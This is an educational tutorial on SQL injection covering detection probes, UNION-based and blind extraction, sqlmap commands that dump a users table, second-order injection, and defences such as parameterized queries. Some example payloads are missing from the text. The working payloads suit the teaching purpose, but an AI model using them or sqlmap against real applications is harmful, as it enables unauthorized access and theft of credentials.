SQL injection is the most famous web vulnerability, mostly because the mechanics are simple: you are inserting data into a string that a database will execute. This note explains the layers, from "why does a quote break it" to extracting data blindly.
[!WARNING]
Only practice against systems you own or explicit training platforms (PortSwigger Academy, DVWA, HackTheBox). Probing third-party applications is illegal in most jurisdictions.
The Mental Model
A vulnerable endpoint does this:
query = "SELECT * FROM products WHERE name = '" + user_input + "'"
The database receives one statement. It does not know — and does not care — which part came from a user. So if the user sends:
the statement becomes:
SELECT * FROM products WHERE name = '' OR '1'='1'
and the condition is always true. You have changed the logic of the program, not just its data. That is the entire game.
Detecting It
Start by finding where input reaches the database:
/product?id=1'
# 2. Test boolean behavior (blind)
/product?id=1 AND 1=1
/product?id=1 AND 1=2
# 3. Test time (blind, no visible output)
/product?id=1' AND SLEEP(5)--
If responses differ, you have a signal channel. The bigger the difference, the easier the exploitation.
Numeric vs String Context
| Context | Example | Quote needed? | Comment style |
|---|
| Numeric | WHERE id = 1 | No | -- (dash space) |
| String | WHERE name = 'x' | Yes | # or -- |
| Both | WHERE id = 1 AND name = 'x' | Mix | Depends on DB |
Getting the context right is 80% of beginner frustration. A quote in a numeric context gives a syntax error; no quote in a string context does not close your injection.
When the application displays database errors, you can read data directly:
1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()--
-- MySQL: leak column names
1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'
1' UNION SELECT 1, password FROM users--
The UNION SELECT technique requires the same number of columns. Find it with:
1' ORDER BY 3-- -- errors → 2 columns
Most production apps hide errors. You get a yes/no channel — or a time channel. The method is the same: binary search a string one character at a time.
1' AND SUBSTRING(email,1,1)='a'--
-- Faster: ask "is it after 'm'?" and halve the space each round
1' AND SUBSTRING(email,1,1)>'m'
Automate it. sqlmap does exactly this, with fingerprinting, injection detection and extraction:
sqlmap -u "https://target/product?id=1" --batch --dbs
sqlmap -u "https://target/product?id=1" -D shop -T users --dump
[!TIP]
Even when using sqlmap, understand the manual method. Interviews and real targets both punish people who only can type flags.
Second-Order Injection
The nastiest variant: input is stored now, injected later. You register with:
It looks harmless (you just have a weird username). Later, an admin searches "users by name":
SELECT * FROM users WHERE name = 'admin'
The stored value is injected at read time, in a context you never controlled. Always ask: where else does this input end up later?
Defending Against It
Ranked from most to least important:
- Parameterized queries / prepared statements — the data never becomes code:
cursor.execute("SELECT * FROM products WHERE name = ?", (user_input,))
- ORMs with parameter binding — most frameworks do this by default unless you escape into raw SQL.
- Input validation — defense in depth, not a primary control.
- Least-privilege DB accounts — if the app user cannot read
information_schema, the impact ceiling drops.
- WAF — a speed bump, not a fix.
[!NOTE]
"Escaping quotes" is not security. Proper escaping (e.g. mysql_real_escape_string) works only when done correctly, every time, by every developer, forever. Parameterization removes the problem class entirely.
Checklist for a Web Pentest
Discussion (1)
Sign in or create an account to join the discussion.
2mo ago
Finally a writeup that explains WHY unquoted vs numeric injection behaves differently, not just the payloads. Bookmarked.